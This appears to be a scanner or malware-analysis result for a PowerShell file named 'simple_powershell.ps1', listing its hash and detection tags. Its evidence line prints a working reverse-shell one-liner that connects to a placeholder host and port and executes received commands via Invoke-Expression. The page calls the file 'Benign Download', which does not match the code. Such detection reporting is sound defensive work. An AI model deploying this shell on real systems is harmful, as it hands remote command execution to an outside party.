Benign Download

simple_powershell.ps1

PowerShell TcpClient stream acquisitionPowerShell Invoke-Expression of a variable

SHA-25639bab4098edd12544d9e6c92934c53f6435cbfc9302e1844ac72c31081dcaaf2

Evidence

PowerShell TcpClient stream acquisition line 1

1$sm=(New-Object Net.Sockets.TCPClient("IpAdDr",P0rT)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}